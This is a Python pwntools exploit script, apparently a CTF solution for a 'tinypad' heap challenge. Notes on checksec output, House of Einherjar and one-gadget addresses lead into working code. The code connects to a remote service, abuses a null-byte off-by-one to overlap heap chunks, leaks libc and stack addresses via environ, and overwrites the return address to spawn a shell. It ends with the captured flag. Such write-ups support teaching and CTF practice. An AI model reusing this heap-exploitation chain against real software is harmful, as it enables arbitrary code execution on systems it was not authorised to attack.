#!/usr/bin/env python 


"""
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL    <- got table is also read-only -> can't got hijacking  
"""
# can used House of Einherjar?? `

# one shot not work....because the rsi 
"""
way 1:
unsortbin fd point into main_arena where is in libc  

libc has a symbol 'environ' will point into a address in the stack  which is  char** environ

since we cant got hijack and we have the libc
-> overwrite return and use magic gadget

---- find in ida ----
.text:0000000000046533                 lea     rdi, aBinSh     ; "/bin/sh"
.text:000000000004653A                 lea     rsi, [rsp+180h+var_150]
.text:000000000004653F                 mov     cs:dword_3C06C0, 0
.text:0000000000046549                 mov     cs:dword_3C06D0, 0
.text:0000000000046553                 mov     rdx, [rax]
.text:0000000000046556                 call    execve

way 2:
for ptmalloc 
-> main function to determine is "public_mALLOc(size_t bytes)" , which will check hook first,
and if not 0 jump to execute first 

*and malloc_hook is at unsortbin fd - 0x78
gdb-peda$ x/20gx 0x00007fac5fa2e7b8- 0x78 - 0x10
0x7f23bc80f730 <__realloc_hook>:	0x00007f23bc4d4c30	0x0000000000000000
0x7f23bc80f740 <__malloc_hook>:	0x0000000000000000	0x0000000000000000


"""


from pwn import *

#ELF = ('./tinypad')

# use  null off by one and unlink
# or you can change size by edit and unlink 
# or overlap than fastbincurropt

def add(size,content):
	r.sendlineafter('>>>', 'a')
	r.sendlineafter('>>>', str(size) )
	r.sendlineafter('>>>', content)

def delet(index):
	r.sendlineafter('>>>', 'd')
	r.sendlineafter('>>>', str(index))

def edit(index,content):
	r.sendlineafter('>>>', 'e')
	r.sendlineafter('>>>', str(index))
	r.sendlineafter('>>>', content)
	r.sendlineafter('>>>', 'y')

def take_leak():
	data = r.recvuntil('INDEX')
	data = r.recvuntil('+')
	data = data.split('\n')[1].split('CONTENT: ')[1]
	p = u64(data.ljust(8,'\x00'))
	return p

r = remote("172.16.101.57" , 12027)
#r = process('./tinypad',env={"LD_LIBRARY_PATH":"."})

#a = raw_input('.')

add(0x200, 'a'*0x38)
add(0x200, '\x70'*0xf9)
edit(2, '\x70'*0xf9)     # prepare size for fake fastbin
for i in range(8):
	edit(2, '\x70'*(0xf7-i))     # prepare size for fake fastbin
delet(1)


unsort_p = take_leak()
libc_base = (unsort_p & 0xfffffffff000) - 0x3be000  # given libc
magic = libc_base +  0x4652c

#------- if magic gadget can work, we can just overwrite the malloc_hook. since the rsi in gadget will not work, we need to find another way.
malloc_hook = unsort_p-0x78 
environ = libc_base + 0x3c14a0
print 'lb', hex(libc_base)
#print 'mh', hex(malloc_hook)
print 'magic', hex(magic)
print 'symbol_env',hex(environ)

delet(2)

add(0x38,'a'*0x38)
add(0x38,'b'*0x38)
add(0x68,'a'*0x19) # need fake in the body, cause the free used later will check the struct of next chunck 
add(0x30,'d')

edit(1, 'a'*0x38+'\x61')

delet(3)
delet(2)

add(0x58, '1'*0x40+p64(0x602130) )  # take the tinypadlist
for i in range(6):
	edit(2, '1'*(0x3f-i))   		# zero the data and make chunck  head correct
edit(2, '1'*(0x3f-7)+'\x71')


delet(1)

add(0x68, '1') # not use

add(0x68, '1'*8 + p64(environ)  )  # leak environ_add
env_pp = take_leak()
ret_p = env_pp - 0xf0
print '*env',hex(env_pp)
print 'ret', hex(ret_p)


edit(3, '1'*8 + p64(ret_p))  # make chunck 1 point to return address
edit(1, p64(magic))	     # change returnaddress to magic gadget

edit(3, '1'*8 + p64(ret_p))  # zero the rsi of magic
edit(1, '\x00')


r.interactive()

#AD{HoU5E_Of_e1NHERjar_wa5_1nvEN7ed_8Y_Japane2E}
